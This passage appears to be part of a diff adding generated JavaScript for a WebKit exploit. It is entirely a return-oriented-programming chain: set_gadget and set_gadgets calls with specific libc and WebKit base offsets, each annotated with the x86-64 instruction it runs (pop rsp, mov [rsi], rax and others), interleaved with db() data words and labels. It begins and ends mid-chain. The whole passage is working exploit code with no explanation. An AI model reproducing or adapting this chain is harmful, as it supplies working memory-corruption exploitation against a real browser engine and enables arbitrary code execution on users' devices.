+db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L17: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+66552, //L21 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+66520, //L19 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+66536, //L20 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L18: +db([48, 0]); // 0x30 +set_gadget(libc_base+165442,); //pop rdi +//L19: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L20: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L21: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+66656, //L23 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+66640, //L22 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L22: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L23: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L24: +db([8, 0]); // 0x8 +set_gadget(libc_base+768796,); //pop rax +//L25: +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+66864, //L28 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+66848, //L27 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L26: +db([48, 0]); // 0x30 +set_gadget(webkit_base+3789839,); //pop r11 +//L27: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L28: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+66968, //L30 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+66952, //L29 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L29: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L30: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+67064, //L32 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L31: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L32: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+67168, //L35 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+67152, //L34 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L34: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L35: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+229840, //mov ax, [rdi] +libc_base+713278, //pop rsi +ropchain+67328, //L40 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+67296, //L38 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+67312, //L39 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L37: +db([16, 0]); // 0x10 +set_gadget(libc_base+165442,); //pop rdi +//L38: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L39: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L40: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+67384, //L41 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+165442 //pop rdi +]); +//L41: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+288783, //sar edi, cl +libc_base+713278, //pop rsi +ropchain+67512, //L44 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+67528, //L45 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+67496, //L43 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L43: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L44: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L45: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+67688, //L49 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+67656, //L47 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+67672, //L48 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L46: +db([48, 0]); // 0x30 +set_gadget(libc_base+165442,); //pop rdi +//L47: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L48: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L49: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+67792, //L51 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+67776, //L50 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L50: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L51: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L52: +db([8, 0]); // 0x8 +set_gadget(libc_base+768796,); //pop rax +//L53: +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+67992, //L56 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+67976, //L55 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L54: +db([32, 0]); // 0x20 +set_gadget(webkit_base+3789839,); //pop r11 +//L55: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L56: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+68096, //L58 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+68080, //L57 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L57: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L58: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+68208, //L61 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+68192, //L60 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L59: +db([48, 0]); // 0x30 +set_gadget(webkit_base+3789839,); //pop r11 +//L60: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L61: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+68272, //L62 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+772328 //pop rcx +]); +//L62: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+68328, //L64 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L64: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278, //pop rsi +ropchain+68464, //L66 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+68496, //L68 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+68480, //L67 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L66: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L67: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L68: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+68608, //L69 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+68640, //L71 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+68624, //L70 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L69: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L70: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L71: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+68744, //L72 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+68760, //L73 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L72: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L73: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+68880, //L74 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+68864, //L75 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L75: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L74: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+713278, //pop rsi +ropchain+68968, //L77 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+68952, //L76 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L76: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L77: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+69072, //L78 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+69088, //L79 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L78: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L79: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+69208, //L80 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+69192, //L81 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L81: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L80: +db([0, 0]); // 0x0 +//___builtin_bswap32: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+69280, //L83 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L83: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+69392, //L85 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+69408, //L86 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +//L84: +db([16, 0]); // 0x10 +set_gadget(webkit_base+1420514,); //pop r8 +//L85: +db([0, 0]); // 0x0 +set_gadget(libc_base+772328,); //pop rcx +//L86: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+69512, //L89 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+69496, //L88 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L88: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L89: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+69672, //L92 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+69704, //L94 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+69656, //L91 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+69688, //L93 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L91: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L92: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L93: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L94: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+69800, //L96 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+69784, //L95 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L95: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L96: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L97: +db([24, 0]); // 0x18 +set_gadget(libc_base+768796,); //pop rax +//L98: +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+70000, //L101 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+69984, //L100 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L99: +db([32, 0]); // 0x20 +set_gadget(webkit_base+3789839,); //pop r11 +//L100: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L101: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+70104, //L103 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+70088, //L102 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L102: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L103: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857183, //shr rax, cl +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+70208, //L105 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L104: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L105: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+70312, //L108 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+70296, //L107 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L107: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L108: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+70472, //L111 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+70504, //L113 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+70456, //L110 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+70488, //L112 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L110: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L111: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L112: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L113: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+70600, //L115 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+70584, //L114 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L114: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L115: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L116: +db([16711680, 0]); // 0xff0000 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+70712, //L118 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L118: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+5236215, //and rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L120: +db([8, 0]); // 0x8 +set_gadget(libc_base+768796,); //pop rax +//L121: +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+70944, //L124 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+70928, //L123 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L122: +db([32, 0]); // 0x20 +set_gadget(webkit_base+3789839,); //pop r11 +//L123: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L124: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857161, //shl rax, cl +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+71048, //L126 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+71032, //L125 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L125: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L126: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+857183, //shr rax, cl +libc_base+713278, //pop rsi +ropchain+71104, //L127 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L127: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+71160, //L129 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L129: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+71288, //L132 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L131: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L132: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+71392, //L135 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+71376, //L134 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L134: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L135: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+71552, //L138 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+71584, //L140 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+71536, //L137 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+71568, //L139 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L137: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L138: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L139: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L140: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+71680, //L142 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+71664, //L141 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L141: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L142: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L143: +db([65280, 0]); // 0xff00 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+71792, //L145 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L145: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+5236215, //and rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+772328 //pop rcx +]); +//L147: +db([8, 0]); // 0x8 +set_gadget(libc_base+768796,); //pop rax +//L148: +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+857161, //shl rax, cl +libc_base+713278, //pop rsi +ropchain+71976, //L149 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L149: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+72032, //L151 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L151: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+72932, //or rax, rcx +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+72160, //L154 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L153: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L154: +db([0, 0]); // 0x0 